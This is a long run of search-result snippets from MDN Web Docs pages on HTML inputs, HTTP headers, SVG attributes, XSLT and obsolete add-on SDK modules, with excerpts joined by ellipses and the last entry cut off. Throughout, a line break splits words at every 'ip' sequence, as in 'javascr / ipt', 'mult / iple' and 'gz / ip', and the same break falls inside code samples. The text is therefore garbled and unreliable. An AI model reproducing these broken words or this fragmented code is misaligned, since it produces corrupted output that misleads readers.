ipt element you can use the following <scr
ipt> element to tell a browser to execute the https://example.com/example-framework.js scr
ipt without sending user-credentials.
... <scr
ipt src="https://example.com/example-framework.js" crossorigin="anonymous"></scr
ipt> example: webmanifest with credentials the use-credentials value must be used when fetching a manifest that requires credentials, even if the file is from the same origin.
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
alt this attribute causes a descr
iptive text alternate to be displayed on browsers that do not support java.
... mayscr
ipt in the netscape implementation, this attribute allows access to an applet by programs in a scr
ipting language embedded in the document.
... name this attribute assigns a name to the applet so that it can be identified by other resources; particularly scr
ipts.
... example html <applet code="game.class" align="left" archive="game.z
ip" height="250" width="350"> <param name="difficulty" value="easy"> <b>sorry, you need java to play this game.</b> </applet> specifications specification status comment html 5.2the definition of '<applet>' in that specification.
<input type="button"> - HTML: Hypertext Markup Language
to make buttons do anything, you have to write javascr
ipt code to do the work.
...ent.queryselector('input'); const paragraph = document.queryselector('p'); button.addeventlistener('click', updatebutton); function updatebutton() { if (button.value === 'start machine') { button.value = 'stop machine'; paragraph.textcontent = 'the machine has started!'; } else { button.value = 'start machine'; paragraph.textcontent = 'the machine is stopped.'; } } the scr
ipt gets a reference to the htmlinputelement object representing the <input> in the dom, saving this refence in the variable button.
... validation buttons don't partic
ipate in constraint validation; they have no real value to be constrained.
... examples the below example shows a very simple drawing app created using a <canvas> element and some simple css and javascr
ipt (we'll hide the css for brevity).
<input type="hidden"> - HTML: Hypertext Markup Language
hidden inputs cannot be focused even using javascr
ipt (e.g.
... additional attributes in addition to the attributes common to all <input> elements, hidden inputs offer the following attributes: attribute descr
iption name like all input types, the name of the input to report when submitting the form; the special value _charset_ causes the hidden input's value to be reported as the character encoding used to submit the form name this is actually one of the common attributes, but it has a special meaning available for hidden inputs.
... validation hidden inputs don't partic
ipate in constraint validation; they have no real value to be constrained.
...no scr
ipting is needed in the content to handle this.
<input type="radio"> - HTML: Hypertext Markup Language
where mult
iple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow mult
iple values to be selected.
...">email</label> <input type="radio" id="contactchoice2" name="contact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit">submit</button> </div> </form> <pre id="log"> </pre> then we add some javascr
ipt to set up an event listener on the submit event, which is sent when the user clicks the "submit" button: var form = document.queryselector("form"); var log = document.queryselector("#log"); form.addeventlistener("submit", function(event) { var data = new formdata(form); var output = ""; for (const entry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innerte...
... additional attributes in addition to the common attributes shared by all <input> elements, radio inputs support the following attributes: attribute descr
iption checked a boolean indicating whether or not this radio button is the currently-selected item in the group value the string to use as the value of the radio when submitting the form, if the radio is currently toggled on checked a boolean attribute which, if present, indicates that this radio button is the currently selected one in the group.
... validation radio buttons don't partic
ipate in constraint validation; they have no real value to be constrained.
<input type="range"> - HTML: Hypertext Markup Language
the value will be a mult
iple of step.
... additional attributes in addition to the attributes shared by all <input> elements, range inputs offer the following attributes: attribute descr
iption list the id of the <datalist> element that contains optional pre-defined options max the maximum permitted value min the minimum permitted value step the stepping interval, used both for user interface and validation purposes list the values of the list attribute is the id of a <datalist> element located in the same document.
... non standard attributes attribute descr
iption orient sets the orientation of the range slider.
... note: the following input attributes do not apply to the input range: accept, alt, checked, dirname, formaction, formenctype, formmethod, formnovalidate, formtarget, height, maxlength, minlength, mult
iple, pattern, placeholder, readonly, required, size, src, and width.
<input type="reset"> - HTML: Hypertext Markup Language
if you want to create a custom button and then customize the behaviour using javascr
ipt, you need to use <input type="button">, or better still, a <button> element.
...adding a toolt
ip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes.
... disabling and enabling a reset button to disable a reset button, simply specify the disabled global attribute on it, like so: <input type="reset" value="disabled" disabled> you can enable and disable buttons at run time by simply setting disabled to true or false; in javascr
ipt this looks like btn.disabled = true or btn.disabled = false.
... validation buttons don't partic
ipate in constraint validation; they have no real value to be constrained.
Microformats - HTML: Hypertext Markup Language
<img class="u-photo" src="http://example.org/photo.png" alt="" /> <a class="p-name u-url" href="http://example.org">joe bloggs</a> <a class="u-email" href="mailto:joebloggs@example.com">joebloggs@example.com</a>, <span class="p-street-address">17 austerstræti</span> <span class="p-locality">reykjavík</span> <span class="p-country-name">iceland</span> </p> property descr
iption p-name the full/formatted name of the person or organization.
...developer</a> on <time class="dt-published" datetime="2013-06-13 12:00:00">13<sup>th</sup> june 2013</time></p> <p class="p-summary">in which i extoll the virtues of using microformats.</p> <div class="e-content"> <p>blah blah blah</p> </div> </article> properties property descr
iption p-name entry name/title p-author who wrote the entry, optionally embedded h-card dt-published when the entry was published p-summary short entry summary e-content full content of the entry parsed reply h-entry example <div class="h-entry"> <p><span class="p-author h-card"> <a href="https://quickthoughts.jgregorymcverry.
...developer</a> on <time class="dt-published" datetime="2013-06-13 12:00:00">13<sup>th</sup> june 2013</time> </p> <p class="p-summary">in which i extoll the virtues of using microformats.</p> <div class="e-content"> <p>blah blah blah</p> </div> </article> </div> properties property descr
iption p-name name of the feed p-author author of the feed, optionally embed an h-card children nested h-entry objects representing the items of the feed h-event the h-event is for events on the web.
...1 class="p-name">microformats meetup</h1> <p>from <time class="dt-start" datetime="2013-06-30 12:00">30<sup>th</sup> june 2013, 12:00</time> to <time class="dt-end" datetime="2013-06-30 18:00">18:00</time> at <span class="p-location">some bar in sf</span></p> <p class="p-summary">get together and discuss all things microformats-related.</p> </div> properties property descr
iption p-name event name (or title) p-summary short summary of the event dt-start datetime the event starts dt-end datetime the event ends p-location where the event takes place, optionally embedded h-card parsed h-event example <div class="h-event"> <h2 class="p-name">indieweb summit</h2> <time class="dt-start" datetime="2019-...
HTML: Hypertext Markup Language
other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/behavior (javascr
ipt).
...by uploading content to the internet and linking it to pages created by other people, you become an active partic
ipant in the world wide web.
... get started beginner's tutorials our html learning area features mult
iple modules that teach html from the ground up — no previous knowledge required.
...a block-level element occupies the entire space of its parent element (container), thereby creating a "block." link types in html, various link types can be used to establish and define the relationsh
ip between two documents.
Data URLs - HTTP
data:text/plain;base64,sgvsbg8sifdvcmxkiq== base64-encoded version of the above data:text/html,%3ch1%3ehello%2c%20world!%3c%2fh1%3e an html document with <h1>hello, world!</h1> data:text/html,<scr
ipt>alert('hi');</scr
ipt> an html document that executes a javascr
ipt alert.
... note that the closing scr
ipt tag is required.
... encoding in javascr
ipt the web apis have native methods to encode or decode to base64: base64 encoding and decoding.
... [convert]::tobase64string([text.encoding]::utf8.getbytes("hello")) # outputs to console: agvsbg8= bash -c "echo -n hello`|base64" # outputs to console: agvsbg8= # the backtick (`) is used to escape the p
iping (|) character here common problems this section describes problems that commonly occur when creating and using data urls.
Using Feature Policy - HTTP
for example, this blocks the <iframe> from using the camera and microphone: <iframe allow="camera 'none'; microphone 'none'"> inheritance of policy for embedded content scr
ipts inherit the policy of their browsing context, regardless of their origin.
... that means that top-level scr
ipts inherit the policy from the main document.
...these features include: layout-inducing animations unoptimized (poorly compressed) images oversized images synchronous scr
ipts synchronous xmlhttprequest unsized media to avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins.
... send the following the http header: feature-policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-scr
ipt 'none'; sync-xhr 'none'; unsized-media 'none'; using the <iframe> allow attribute: <iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-scr
ipt 'none'; sync-xhr 'none'; unsized-media 'none';"></iframe> ...
Forwarded - HTTP
this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the
ip address of the client.
...this can be either: an
ip address (v4 or v6, optionally with a port, and
ipv6 quoted and enclosed in square brackets), an obfuscated identifier (such as "_hidden" or "_secret"), or "unknown" when the preceding entity is not known (and you still want to indicate that forwarding of the request was made).
... examples using the forwarded header forwarded: for="_mdn" # case insensitive forwarded: for="[2001:db8:cafe::17]:4711" # separated by semicolon forwarded: for=192.0.2.60;proto=http;by=203.0.113.43 # mult
iple values can be appended using a comma forwarded: for=192.0.2.43, for=198.51.100.17 transitioning from x-forwarded-for to forwarded if your application, server, or proxy supports the standardized forwarded header, the x-forwarded-for header can be replaced.
... note that
ipv6 address are quoted and enclosed in square brackets in forwarded.
TE - HTTP
note that chunked is always acceptable for http/1.1 rec
ipients and you don't have to specify "chunked" using the te header.
... header type request header forbidden header name yes syntax te: compress te: deflate te: gz
ip te: trailers // mult
iple directives, weighted with the quality value syntax: te: trailers, deflate;q=0.5 directives compress a format using the lempel-ziv-welch (lzw) algorithm is accepted as a transfer coding name.
... gz
ip a format using the lempel-ziv coding (lz77), with a 32-bit crc is accepted as a transfer coding name.
... q when mult
iple transfer codings are acceptable, the q parameter of the quality value syntax can rank codings by preference.
Transfer-Encoding - HTTP
header type response header forbidden header name yes syntax transfer-encoding: chunked transfer-encoding: compress transfer-encoding: deflate transfer-encoding: gz
ip transfer-encoding: identity // several values can be listed, separated by a comma transfer-encoding: gz
ip, chunked directives chunked data is sent in a series of chunks.
... gz
ip a format using the lempel-ziv coding (lz77), with a 32-bit crc.
... this is originally the format of the unix gz
ip program.
... the http/1.1 standard also recommends that the servers supporting this content-encoding should recognize x-gz
ip as an alias, for compatibility purposes.
Network Error Logging - HTTP
http 400 (bad request) response { "age": 20, "type": "network-error", "url": "https://example.com/previous-page", "body": { "elapsed_time": 338, "method": "post", "phase": "application", "protocol": "http/1.1", "referrer": "https://example.com/previous-page", "sampling_fraction": 1, "server_
ip": "137.205.28.66", "status_code": 400, "type": "http.error", "url": "https://example.com/bad-request" } } dns name not resolved note that the phase is set to dns in this report and no server_
ip is available to include.
... { "age": 20, "type": "network-error", "url": "https://example.com/previous-page", "body": { "elapsed_time": 18, "method": "post", "phase": "dns", "protocol": "http/1.1", "referrer": "https://example.com/previous-page", "sampling_fraction": 1, "server_
ip": "", "status_code": 0, "type": "dns.name_not_resolved", "url": "https://example-host.com/" } } the type of the network error may be one of the following pre-defined values from the specification, but browsers can add and send their own error types: dns.unreachable the user's dns server is unreachable dns.name_not_resolved the user's dns server responded but was unable to resolve an
ip address for the requested uri.
...servfail) dns.address_changed for security reasons, if the server
ip address that delivered the original report is different to the current server
ip address at time of error generation, the report data will be downgraded to only include information about this problem and the type set to dns.address_changed.
... tcp.timed_out tcp connection to the server timed out tcp.closed the tcp connection was closed by the server tcp.reset the tcp connection was reset tcp.refused the tcp connection was refused by the server tcp.aborted the tcp connection was aborted tcp.address_invalid the
ip address is invalid tcp.address_unreachable the
ip address is unreachable tcp.failed the tcp connection failed due to reasons not covered by previous errors http.error the user agent successfully received a response, but it had a 4xx or 5xx status code http.protocol.error the connection was aborted due to an http protocol error http.response.invalid response is empty, has a content-length mismatch, has improper encoding, and/or other conditions that prevent user agent from processing the response htt...
HTTP response status codes - HTTP
207 multi-status (webdav) conveys information about mult
iple resources, for situations where mult
iple status codes might be appropriate.
... 208 already reported (webdav) used inside a <dav:propstat> response element to avoid repeatedly enumerating the internal members of mult
iple bindings to the same collection.
... 226 im used (http delta encoding) the server has fulfilled a get request for the resource, and the response is a representation of the result of one or more instance-man
ipulations applied to the current instance.
... redirection messages 300 mult
iple choice the request has more than one possible response.
<msubsup> - MathML
the mathml <msubsup> element is used to attach both a subscr
ipt and a superscr
ipt, together, to an expression.
... it uses the following syntax: <msubsup> base subscr
ipt superscr
ipt </msubsup>.
... subscr
iptshift the minimum space by which to shift the subscr
ipt below the baseline of the expression, as a length value.
... superscr
iptshift the minimum space by which to shift the superscr
ipt above the baseline of the expression, as a length value.
<mtable> - MathML
mult
iple values separated by space are allowed and apply to the corresponding columns (e.g.
...mult
iple values separated by space are allowed and apply to the corresponding columns (e.g.
...mult
iple values separated by space are allowed and apply to the corresponding rows (e.g.
...mult
iple values separated by space are allowed and apply to the corresponding rows (e.g.
Performance budgets - Web Performance
a ~$200 android device over a 3g connection), using mult
iple tools.
... bundlesize, allows you to define and run file size checks in your ci p
ipeline.
... file size checks are the first line of defense against regressions but translating size back into time metrics can be difficult since development environments could be missing 3rd party scr
ipts, and optimizations commonly provided by a cdn.
... however, you should have mult
iple budgets and be dynamic.
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
they run on a separate thread from the main javascr
ipt code of our page, and don't have any access to the dom structure.
...we don't need to do that in our app, so we'll sk
ip it.
...here is a simple usage example: self.addeventlistener('fetch', (e) => { console.log('[service worker] fetched resource '+e.request.url); }); the response can be anything we want: the requested file, its cached copy, or a piece of javascr
ipt code that will do something specific — the possibilities are endless.
... clearing the cache remember the activate event we sk
ipped?
Graphic design for responsive sites - Progressive web apps (PWAs)
these may not be supported in older browsers like ie6-8, but they generally degrade gracefully, are fairly easy to write, and become much more flexible and powerful when combined with javascr
ipt and other technologies.
... javascr
ipt javascr
ipt has functions that enable developers to create animations, and any other type of interactivity you want.
... svg svg, just like html/css, can be man
ipulated via javascr
ipt.
...standard javascr
ipt can then be used to animate the image output, etc.
cx - SVG: Scalable Vector Graphics
three elements are using this attribute: <circle>, <ell
ipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <radialgradient cx="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ell
ipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape.
... ell
ipse for <ell
ipse>, cx defines the x-axis coordinate of the center of the shape.
... value <length-percentage> default value 0 animatable yes note: starting with svg2 cx, is a geometry property, meaning this attribute can also be used as css property for ell
ipses.
... recommendation initial definition for <ell
ipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'cx' in that specification.
cy - SVG: Scalable Vector Graphics
three elements are using this attribute: <circle>, <ell
ipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <radialgradient cy="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ell
ipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape.
... ell
ipse for <ell
ipse>, cy defines the y-axis coordinate of the center of the shape.
... value <length> | <percentage> default value 0 animatable yes note: starting with svg2, cy is a geometry property meaning this attribute can also be used as a css property for ell
ipses.
... recommendation initial definition for <ell
ipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'cy' in that specification.
dominant-baseline - SVG: Scalable Vector Graphics
it also indicates the default alignment baseline of any boxes partic
ipating in baseline alignment in the box’s alignment context.
... use-scr
ipt the dominant-baseline and the baseline-table components are set by determining the predominant scr
ipt of the character data content.
... candidate recommendation refers to the specification in working draft and explicitly mentions the removal of the values use-scr
ipt, no-change, and reset-size.
... working draft removed the values use-scr
ipt, no-change, and reset-size and introduced the text-top value.
dx - SVG: Scalable Vector Graphics
if there are mult
iple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph.
... if there are mult
iple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph.
... if there are mult
iple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph.
... if there are mult
iple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph.
dy - SVG: Scalable Vector Graphics
if there are mult
iple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph.
... if there are mult
iple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph.
... if there are mult
iple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph.
... if there are mult
iple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph.
glyph-orientation-vertical - SVG: Scalable Vector Graphics
when the inline-progression-direction is vertical and the glyph-orientation-vertical results in an orientation angle that is a mult
iple of 180 degrees, then the current text position is incremented according to the vertical metrics of the glyph.
... otherwise, if the angle is not a mult
iple of 180 degrees, then the current text position is incremented according to the horizontal metrics of the glyph.
... note: text set in this "rotated" manner may contain ligatures or other glyph combining and reordering common to the language and scr
ipt.
...the determination is based on a complex interaction between country, language, scr
ipt, character properties, font, and character context.
in - SVG: Scalable Vector Graphics
if the value for result appears mult
iple times within a given <filter> element, then a reference to that result will use the closest preceding filter primitive with the given value for attribute result.
... html <div style="width: 420px; height: 220px;"> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="backgroundmult
iply"> <!-- this will not work.
... --> <feblend in="backgroundimage" in2="sourcegraphic" mode="mult
iply"/> </filter> </defs> <image xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#backgroundmult
iply);" /> </svg> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="imagemult
iply"> <!-- this is a workaround.
... --> <feimage xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <feblend in2="sourcegraphic" mode="mult
iply"/> </filter> </defs> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#imagemult
iply);"/> </svg> </div> result specifications specification status comment filter effects module level 1the definition of 'in' in that specification.
<a> - SVG: Scalable Vector Graphics
value type: no-referrer|no-referrer-when-downgrade|same-origin|origin|strict-origin|origin-when-cross-origin|strict-origin-when-cross-origin|unsafe-url ; default value: none; animatable: no rel the relationsh
ip of the target object to the link object.
... value type: <url> ; default value: none; animatable: yes global attributes core attributes most notably: id, lang, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes most notably: xlink:title aria attributes aria-a...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile...
...>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<a>' in that specification.
<desc> - SVG: Scalable Vector Graphics
the <desc> element provides an accessible, long-text descr
iption of any svg container element or graphics element.
... the hidden text of a <desc> element can also be concatenated with the visible text of other elements using mult
iple ids in an aria-describedby value.
... html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <desc> i'm a circle and that descr
iption is here to demonstrate how i can be described, but is it really necessary to describe a simple circle like me?
... </desc> </circle> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescr
iptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<desc>' in that specification.
<foreignObject> - SVG: Scalable Vector Graphics
<polygon points="5,5 195,10 185,185 10,195" /> <!-- common use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit.
...nullam magna
ipsum, porta vel dui convallis, rutrum imperdiet eros.
... global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes, document event attributes, document element event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<foreignobject>' in that specification.
<g> - SVG: Scalable Vector Graphics
it can also group mult
iple elements to be referenced later with the <use> element.
... cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ipp...
...ath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<g>' in that specification.
<symbol> - SVG: Scalable Vector Graphics
the use of symbol elements for graphics that are used mult
iple times in the same document adds structure and semantics.
... value type: <length>|<percentage> ; default value: 0; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ipp...
...ath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> note: a <symbol> element itself is not meant to be rendered.
Tools for SVG - SVG: Scalable Vector Graphics
the gnome library rsvg is used by the wik
ipedia to raster their svg graphics.
... raphael js url: raphaeljs.com this is a javascr
ipt library, that acts as an abstraction layer between browser implementations.
... snap.svg url: snapsvg.io a newer javascr
ipt abstraction layer from the same author of raphael js.
... snap.svg is designed for modern browsers and therefore supports the newest svg features like masking, cl
ipping, patterns, full gradients, groups.
Web security
content security content security policy (csp) content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross-site scr
ipting (xss) and data injection attacks.
... robots.txt to be written site maps to be written integrity same-origin policy the same-origin policy is a critical security mechanism that restricts how a document or scr
ipt loaded from one origin can interact with a resource from another origin.
... subresource integrity subresource integrity (sri) is a security feature that enables browsers to verify that resources they fetch (for example, from a cdn) are delivered without unexpected man
ipulation.
... security-related glossary terms block c
ipher mode of operation certificate authority challenge-response authentication c
ipher c
ipher suite c
iphertext cors cors-safelisted request header cors-safelisted response header cross-site scr
ipting cryptanalysis cryptographic hash function cryptography csp csrf decryption digital certificate dtls ...
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
the example allows sorting the content mult
iple times, alternating between ascending and descending order.
... the javascr
ipt loads the .xsl file only on the first sort and sets the xslloaded variable to true once it has finished loading the file.
... the xslt file has a parameter called myorder that javascr
ipt sets to change the sorting method.
... figure 7: sorting based on div contentview example // xhtml fragment: <div id="example"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> <div>6</div> <div>7</div> <div>8</div> <div>9</div> <div>10</div> </div> // javascr
ipt var xslref; var xslloaded = false; var xsltprocessor = new xsltprocessor(); var mydom; var xmlref = document.implementation.createdocument("", "", null); function sort() { if (!xslloaded){ p = new xmlhttprequest(); p.open("get", "example2.xsl", false); p.send(null); xslref = p.responsexml; xsltprocessor.importstylesheet(xslref); xslloaded = true; } // create a ...
Setting Parameters - XSLT: Extensible Stylesheet Language Transformations
setting parameters while running transformations using precoded .xsl and .xml files is quite useful, configuring the .xsl file from javascr
ipt may be even more useful.
... for example, javascr
ipt and xslt could be used to sort xml data and then display it.
...xsltprocessor provides three javascr
ipt methods to interact with these parameters: xsltprocessor.setparameter(), xsltprocessor.getparameter() and xsltprocessor.removeparameter().
... figure 7 : parameters /* xslt: <xsl:param name="myorder" /> */ // javascr
ipt: var sortval = xsltprocessor.getparameter(null, "myorder"); if (sortval == "" || sortval == "descending") xsltprocessor.setparameter(null, "myorder", "ascending"); else xsltprocessor.setparameter(null, "myorder", "descending"); ...
Navigator.mozNotification - Archive of obsolete content
method overview notification createnotification(in domstring title, in domstring descr
iption, in domstring iconurl optional); methods createnotification() creates and returns a notification object that can be used to display the specified message with an optional url.
... notification createnotification( in domstring title, in domstring descr
iption, in domstring iconurloptional ); parameters title the notification title.
... descr
iption the text to display in the notification.
Private Properties - Archive of obsolete content
unlike other languages, javascr
ipt does not have native support for private properties.
...weakmaps were introduced to javascr
ipt in ecmascr
ipt 2015 and have recently been implemented in spidermonkey.
... namespaces in the add-on sdk the add-on sdk is built on top of xpcom, the interface between javascr
ipt and c++ code.
Module structure of the SDK - Archive of obsolete content
a commonjs module is a piece of reusable javascr
ipt: it exports certain objects which are thus made available to dependent code.
... except for scr
ipts that interact directly with web content, all the javascr
ipt code you'll write or use when developing add-ons using the sdk is part of a commonjs module, including: sdk modules: the javascr
ipt modules which the sdk provides, such as panel and page-mod.
... local modules: each of the javascr
ipt files under your add-on's "lib" directory.
SDK and XUL Comparison - Archive of obsolete content
advantages of the sdk simplicity the sdk provides high-level javascr
ipt apis to simplify many common tasks in add-on development, and tool support which greatly simplifies the process of developing, testing, and packaging an add-on.
... we've designed the apis to be forward-compatible with the new mult
iple process architecture (codenamed electrolysis) planned for firefox.
...if you need more flexibility than the sdk's high-level apis provide, you can use its low-level apis to load xpcom objects directly or to man
ipulate the dom directly as in a traditional bootstrapped extension.
Working with Events - Archive of obsolete content
we talk about content scr
ipts in more detail in the working with content scr
ipts guide.
... additionally, if you're using content scr
ipts to interact with web content, you can define your own events and use them to communicate between the main add-on code and the content scr
ipts.
... so there are two main ways you will interact with the eventemitter framework: listening to built-in events emitted by objects in the sdk, such as tabs opening, pages loading, mouse clicks sending and receiving user-defined events between content scr
ipts and add-on code this guide only covers the first of these; the second is explained in the working with content scr
ipts guide.
l10n - Archive of obsolete content
localize strings appearing in the add-on's javascr
ipt code.
... note that you can't currently use localize strings appearing in content scr
ipts or html files, but you can share the localized strings you want by assigning it's values to a json serializable object.
... if you supply mult
iple placeholders, each one is a separate string parameter.
core/namespace - Archive of obsolete content
let { ns } = require('sdk/core/namespace'); let anamespace = ns(); anamespace(publicapi).secret = secret; one namespace may be used with mult
iple objects: let { ns } = require('sdk/core/namespace'); let dom = ns(); function view(element) { let view = object.create(view.prototype); dom(view).element = element; // ....
... also, mult
